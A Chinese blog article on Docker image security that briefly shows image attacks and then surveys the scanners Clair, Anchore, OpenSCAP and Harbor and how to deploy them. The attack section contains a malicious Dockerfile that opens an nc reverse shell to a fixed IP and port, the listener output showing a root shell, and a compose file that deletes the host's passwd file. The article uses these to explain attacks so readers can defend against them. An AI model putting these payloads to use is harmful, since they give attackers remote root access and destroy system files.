Docker安全入门与实战(二)

2022-06-21 10:25:58 浏览数 (2)

在上一篇文章《从自身漏洞与架构缺陷,谈Docker安全建设》中,介绍Docker存在的安全问题、整套Docker应用架构的安全基线以及安全规则,重头戏是Docker安全规则的各种思路和方案。本文作为“续集”,考虑到镜像安全问题的普遍性和重要性,将重点围绕Docker镜像安全扫描与审计的具体实现展开讨论,包括技术选型、功能使用以及如何与企业Docker容器编排系统、仓库集成等具体问题,最后还提供了一个现成的开源集成方案。

概述

根据绿盟2018年3月的研究显示,目前Docker Hub上的镜像76%都存在漏洞,其研究人员拉取了Docker Hub上公开热门镜像中的前十页镜像,对其使用Docker镜像安全扫描工具Clair进行了CVE扫描统计。结果显示在一百多个镜像中,没有漏洞的只占到24%,包含高危漏洞的占到67%。很多我们经常使用的镜像都包含在其中,如:Httpd,Nginx,Mysql等等。

有句行话说的好:未知攻,焉知防?下面将先介绍Docker镜像攻击的具体实现方式,然后再提出已有的安全防护方案。

Docker镜像攻击

针对Docker容器的攻击,有利用Docker Daemon api的,也有攻击Kubernetes、Mesos等容器管理平台的,这方面的攻击利用门槛较低、获取成果又非常丰富,反弹shell、getroot均不在话下。不过,今天讨论的是针对Docker镜像的攻击,常见的攻击方式主要有dockerfiles攻击、docker compose攻击两种,而后面讲到的docker镜像自动化攻击则主要利用Dockerscan这款工具。

dockerfiles攻击

道理很简单,在dockerfiles中写入恶意命令,如反弹shell或者添加恶意用户等,或者引入存在漏洞的应用,如使用存在远程命令执行漏洞的Strusts2。下面是一个现成的dockerfiles。

代码语言:javascript复制
FROM alpine:latest
RUN apk add --update --no-cache netcat-openbsd docker
RUN mkdir /files
COPY * /files/
RUN mknod /tmp/back p
RUN /bin/sh 0</tmp/back | nc 192.168.160.1 12345 1>/tmp/back

一旦客户端build完镜像,启动容器,则会向控制端反弹shell

代码语言:javascript复制
nc -lv 192.168.160.1 12345
sh# id
root

docker compose攻击

类似的,编写好存在恶意命令或者漏洞组件的docker compose文件,一旦客户端build完镜像,启动容器,则会执行攻击命令或暴露漏洞组件。

代码语言:javascript复制
test:
 image: ubuntu:14.04
 volumes:
  - /etc:/test
 command: rm /test/passwd

docker镜像自动化攻击

docker镜像自动化渗透工具Dockerscan可扫描网段或者目标识别是否为docker registry,也支持对docker registry操作镜像,更支持修改镜像,将木马植入正常镜像中,当用户运行该镜像时,攻击者就会接收到反弹出的shell,从而达到控制服务器的目的。

代码语言:javascript复制
pip3 install dockerscan
dockerscan -h
Usage: dockerscan [OPTIONS] COMMAND [ARGS]...

Options:
  -v           Verbose output
  -d           enable debug
  -q, --quiet  Minimal output
  --version    Show the version and exit.
  -h, --help   Show this message and exit.

Commands:
  image     Docker images commands
  registry  Docker registry actions
  scan      Search for Open Docker Registries

Docker镜像安全扫描

通过本地docker images命令或者操作docker registry就能恶意修改镜像,植入攻击木马。但这仅仅只是产生Docker镜像安全扫描需求的原因之一。另一种情况,全球最大的dockerhub上面有官方的,也有用户上传的任意镜像,但是目前dockerhub上面只有office repo的才会自动调用docker security scan,其他的即便是恶意image也不会有报警或者拦截的,个人镜像则需要付费扫描。因此,当我们使用外部dockerhub的镜像时同样需要进行安全扫描。如果没有镜像安全工具,非office的repo docker pull时一定要仔细阅读dockerfile或者下载dockerfile本地build。下面是Docker官方镜像安全扫描的流程图。

不过还好,目前CoreOS官方已经推出了Clair镜像安全扫描工具,该工具也被多款docker registry集成,比如VMware中国开源的Harbor(CNCF成员项目)、Quary以及Dockyard等。此外,还有一个Docker镜像安全扫描工具新星:Anchore,不仅支持对镜像的静态扫描,还支持对容器的动态扫描。

Clair

Clair首先对镜像进行特征的提取,然后再将这些特征匹配CVE漏洞库,若发现漏洞则进行提示,其功能侧重于扫描容器中的OS及APP的CVE漏洞。 该工具可以交叉检查Docker镜像的操作系统以及上面安装的任何包是否与任何已知不安全的包版本相匹配。支持跟Kubernetes、Registry结合在一起,在镜像构建过程进行漏洞扫描,支持os广泛,提供api,能提供构建阻断和报警。

在开始分析 clair 之前,我们需要明白几点:

  1. clair 是以静态分析的方式对镜像进行分析的,有点类似于杀毒软件用特征码来扫描病毒。
  2. clair 镜像分析是按镜像layer层级来进行的,如果某一层的软件有漏洞,在上层被删除了,该漏洞还是存在的。
  3. clair 的漏洞扫描是通过软件版本比对来完成的,如果某个应用,比如 nginx ,它在镜像中的版本为 1.0.0,而该版本在数据库中存在 1.0.0 对应的漏洞数据,则表示该镜像存在对应的漏洞。

架构

clair整体架构图如下所示:

整体处理流程如下:

  • Clair定期从配置的源获取漏洞元数据然后存进数据库。
  • 客户端使用Clair API处理镜像,获取镜像的特征并存进数据库。
  • 客户端使用Clair API从数据库查询特定镜像的漏洞情况,为每个请求关联漏洞和特征,避免需要重新扫描镜像。
  • 当更新漏洞元数据时,将会有系统通知产生。另外,还有webhook用于配置将受影响的镜像记录起来或者拦截其部署。

此外,特有术语、驱动和数据源、通知方式的使用可以参考官方文档https://github.com/coreos/clair。

客户端

上面介绍的只是Clair的服务端,投入应用还需额外的客户端。目前从官方列出的衍生开发工具里,已经有非常多的选择。

  • 官方客户端clairctl测试效果如下:
代码语言:javascript复制
clairctl analyze -l cve-2017-11610_web

Image: /cve-2017-11610_web:latest
 
 Unknown: 80
 Negligible: 235
 Low: 195
 Medium: 418
 High: 161
 Critical: 0
 Defcon1: 0
  • clair api 3.0写的不怎么清楚,目前还能在coreos官网上查到api v1版本的文档,但是对于使用新版已经没意义了,因为改变太大了。
  • klar,只支持跟registry集成
  • yair,只支持跟registry集成,yair是用python写的,可以自己修改。
  • analyze-local-images:命令行,但是被放弃了,只支持clair v1/v2

使用建议

  1. master不太稳定,不适合生产环境,建议使用release版本,目前最新版本是https://github.com/coreos/clair/tree/release-2.0
  2. 由于Clair会根据CVE库扫是Docker镜像使用的内核,但是实际上容器使用的是宿主的内核,这样可能产生大量无用漏洞或者误报,但是根据Clair开发组的意思,他们把决定权交给用户,默认不提供白名单机制,也不对此做区分。
  3. 第一次启动要下载数据到数据库,下载时间根据网络好坏确定。可以用https://github.com/arminc/clair-local-scan替换clair官方db镜像。
  4. 检测到很多内核漏洞,但实际上可以不处理。但是clair决定不过滤任何东西,而是交给用户决定,这样一来,用户二次开发,增加黑白名单机制在所难免。

Anchore

Clair能扫描出一个镜像中的所有CVE漏洞,但现在有一种情况,黑客使用最新版无漏洞的OS镜像,然后在其之上安装后门木马,或执行恶意命令,这样Clair就不能检测其安全性了。 这时就要介绍一个分析工具Anchore了,与Clair不同,Anchore侧重于对镜像的审计,其有强大的对镜像的解析能力。Anchore是一个容器检查和分析平台,支持分析、检查、安全扫描,并为容器镜像提供自定义策略评估,比如黑白名单以及自定义规则。

架构

整个处理流程如下:

  • 获取镜像内容并将其解压缩,但从不执行
  • 通过在镜像内容上运行一组Anchore分析器来分析镜像,以提取和分类尽可能多的元数据
  • 将生成的分析保存在数据库中以备将来使用和审核
  • 根据分析结果评估策略,包括对镜像中发现的组件漏洞匹配
  • 更新用于策略评估和漏洞匹配的最新外部数据,并针对上游找到的任何新数据自动更新镜像分析结果
  • 通知用户政策评估和漏洞匹配的更改
  • 每隔一段时间重复5和6,以确保最新的外部数据和更新的镜像评估

客户端

Anchore客户端叫Anchore-cli,可以管理和检查镜像、策略、订阅通知和镜像仓库。工作原理、安装和使用方式都很简单。

  • 部署 支持源码安装和各种主流操作系统源安装
代码语言:javascript复制
git clone https://github.com/anchore/anchore-cli
cd anchore-cli
pip install --user --upgrade .
  • 配置和使用
    • 配置Anchore Engine连接地址和认证方式
    • 使用restful api给Anchore Engine增加镜像、查看镜像分析状态、执行镜像安全扫描、查看镜像分层信息并订阅CVE更新的通知

使用建议

  1. Anchore这个已经被anchore-engine替代,目前再使用会出现各种奇怪的问题。
  2. Anchore分为社区版和商业版,社区版只有CLI接口,商业版提供web页面以及更多的商业支持。

OpenSCAP

OpenSCAP提供了一套自动化的审计工具,以检查应用中的配置和已知的漏洞,遵循了Nist认证的安全内容自动化协议(SCAP)。可以创建自己的自定义规则,并定期检查部署在公司中的任何软件是否严格遵守规则。这些工具集不仅关注于安全性本身,还提供了测试和报告。

跟Clair类似,依赖CVE库进行漏洞扫描。目前已有docker容器方案,OpenSCAP4Docker Docker image:能根据oscap数据库检测image/container。

安装

  • 拉取镜像
代码语言:javascript复制
docker pull dduportal/oscap4docker:1.0.0
docker run dduportal/oscap4docker:1.0.0
  • build镜像
代码语言:javascript复制
git clone https://github.com/dduportal-dockerfiles/oscap4docker.git
cd oscap4docker
cat Dockerfile
FROM dduportal/oscap4docker:1.0.0
MAINTAINER <your name>
ADD ./your-tests /app/oscap4docker-tests
RUN yum install -y -q <your dependencies>
CMD ["/app/oscap4docker-tests/"]
docker build -t my-tests ./
...
docker run -t my-tests
...

使用

代码语言:javascript复制
docker-oscap image IMAGE-NAME OSCAP-ARGUMENTS
  Scan a docker image.
docker-oscap image-cve IMAGE-NAME [--results oval-results-file.xml [--report report.html]]
  Scan a docker image for known vulnerabilities.
docker-oscap container CONTAINER-NAME OSCAP-ARGUMENTS
  Scan a running docker container of given name.
docker-oscap container-cve CONTAINER-NAME [--results oval-results-file.xml [--report report.html]]
  Scan a running container for known vulnerabilities.
See man oscap to learn more about OSCAP-ARGUMENTS

与企业CI/CD系统联动的Docker镜像安全系统选型

Clair

集成到Rigistry和CI/CD

Clair可以直接集成到容器仓库中,以便仓库负责代表用户与Clair进行交互。这种类型的设置避免了手动扫描,并创建了一个合理的接收端以便Clair的漏洞通知到位。仓库还可用于授权,以避免泄露用户不应当访问的镜像漏洞信息。Clair可以集成到CI/CD管道中,如此一来当生成镜像时,将镜像推送到仓库之后触发Clair扫描该镜像的请求。 集成思路如下:

  • 用户推送镜像到容器仓库,仓库根据设置的黑白名单选择是否调用Clair进行扫描
  • 一旦触发Clair扫描,则等待扫描结果返回,然后通知用户

部署方式

主要有kubernetes和本地部署这两种方式。

服务端

  • k8s cluster
代码语言:javascript复制
git clone https://github.com/coreos/clair
cd clair/contrib/helm
cp clair/values.yaml ~/my_custom_values.yaml
vi ~/my_custom_values.yaml
helm dependency update clair
helm install clair -f ~/my_custom_values.yaml
  • local
代码语言:javascript复制
$ mkdir $PWD/clair_config
$ curl -L https://raw.githubusercontent.com/coreos/clair/master/config.yaml.sample -o $PWD/clair_config/config.yaml
$ docker run -d -e POSTGRES_PASSWORD="" -p 5432:5432 postgres:9.6
$ docker run --net=host -d -p 6060-6061:6060-6061 -v $PWD/clair_config:/config quay.io/coreos/clair-git:latest -config=/config/config.yaml

客户端

  • 主分支版本

curl -L https://raw.githubusercontent.com/jgsqware/clairctl/master/install.sh | sh

  • Docker-compose
代码语言:javascript复制
$ git clone git@github.com:jgsqware/clairctl.git $GOPATH/src/github.com/jgsqware/clairctl
$ cd $GOPATH/src/github.com/jgsqware/clairctl
$ docker-compose up -d postgres

Anchore

Anchore与Clair相比更优越的地方,不仅在于功能上,还在生态上。比如Anchor目前可以通过Jenkins/Gitlab无缝地切入CI/CD工作流程,开发人员将代码提交到源代码管理系统,然后触发Jenkins/Gitlab启动创建容器镜像的构建。通过构建失败并返回适当的报告来让开发人员“快速学习”、快速解决问题。接下来介绍Anchore如何与Jenkins进行集成,Jenkins与gitlab集成也有官方介绍。

与Jenkins集成

此外,Anchore支持插件模式和本地模式,但是本地模式已经被官方抛弃,所以目前只能选择插件模式。配置插件以与Anchore Engine服务API的模式可以从工作节点访问其服务API。Anchore插件可以在Pipeline作业中使用,也可以作为构建步骤添加到Freestyle作业中,以自动执行分析,评估镜像的自定义策略以及执行镜像安全扫描。

整个处理流程如下:Jenkins作业将构建容器镜像,并将镜像推送到Anchore Engine服务中预配置的仓库,构建步骤将通过“添加”镜像(指示Anchore Engine从仓库中提取镜像)与Anchore Engine交互,然后对镜像执行策略评估检查。如果策略评估导致“停止”操作,则可以选择将构建步骤配置为构建失败。该插件会将生成的策略评估结果与作业一起存储,以供日后检查/审核该插件可用于Freestyle和Pipeline作业。

部署方式

主要有Jenkins插件和Kubernetes两种部署方式。

Jenkins插件

假定以下先决条件已经满足:

  • Jenkins 2.x已在虚拟机或物理服务器上安装并运行。
  • 已安装并运行Anchore-Engine,可访问 EngineAPI URL(后称为<anchore_url>)和凭据(后称为<anchore_user>和<anchore_pass>),具体请参阅用户文档:Anchore Engine概述和安装。

Kubernetes调用Anchore Engine API

用户提交部署时,由kubernetes调用Anchore Engine API进行镜像安全扫描,评估是否符合安全规则。其实,在CI环节扫描更好,等到kubernetes去发起扫描会把功能耦合在一起,不是很好的设计。

Harbor

相信看了上面Clair和Anchore的落地方案,读者都会觉得有些复杂,落地成本较高。值得高兴的是,vmware开源的docker镜像仓库 Harbor v1.2 以后集成了clair。

架构

集成clair的功能依然是靠其官方镜像和postgres结合形成,而扫描之后的信息则通过harbor自身的数据库进行保存。目前harbor还不支持黑白名单机制。支持设置漏洞响应阈值,比如只有存在高危漏洞的镜像才会阻断后续CI/CD或者用户拉取。Harbor除了集成了Clair的功能外,从v1.1 起也增加了镜像内容信任的能力,可以帮助用户实现容器镜像的内容信任问题。通过内容信任(Content Trust)的机制来确保镜像的来源可信。

Notary是一种发布和管理受信任的内容集合的工具,可以通过与Linux系统中提供的软件存储库管理工具类似的方式批准可信发布和创建签名的集合,可用于镜像伪造和篡改的检测、镜像版本检测、用户之间的信任授权管理等。

整个镜像的安全扫描和审计逻辑如下图所示:

  • 当用户提交镜像build任务后,Registry V2会调用Clair的API提交分层后的镜像layers,Clair扫描结束将结果发会给Harbor,Harbor再根据漏洞阈值决定是否允许用户下载。如果镜像的漏洞级别超过了这个阀值,镜像将无法下载。
  • 当镜像的用户下载时,根据镜像的名称,可以从 Notary 获得镜像的摘要,然后使用 Registry V2 的 API,做 Pull by content (Digest)的 Registry 调用,即可获得来自信任者的镜像。如果镜像没有签过名,获取 Digest 会失败,因而无法下载镜像。

下面是Harbor扫描结果展示:

上图显示了用户可以在Harbor上主动发起扫描,下图显示了镜像安全扫描结果。

部署

由于Harbor官方和社区提供了非常详细的部署文档,本文就不赘述了。

选型建议

通过上面的对比,读者可以根据自己的实际情况进行选择。如果方便迁移docker镜像仓库的话,harbor会是一个比较容易落地的选择。如果在Jenkins方面使用的比较重的企业,建议也可以选择Anchore。

结尾

综上,本文从Docker镜像漏洞挖掘入手,介绍了常见的镜像漏洞引入方式和检测工具。然后,介绍了业界比较流行的Docker镜像安全扫描工具的原理、架构、部署和落地方案,希望读者对Docker镜像安全扫描能有一个相对全面的了解,那便足矣。

参考资料

  • docker镜像安全概述
  • 安全防护工具之:Anchore
  • docker镜像安全扫描
  • clair源码解析
  • clair二次开发指南
  • Docker镜像扫描器的实现:clair
  • clairctl部署案例
  • analyze-local-images安装异常处理
  • anchore github仓库
  • anchore jenkins接入方式
  • docker基础:私库系列:再探Harbor:(5)集成clair
  • 作者博文:Harbor容器镜像安全漏洞扫描详述和视频
  • 容器镜像之明察秋毫:Harbor内容信任的原理及演示视频
  • harbor用户文档

0 人点赞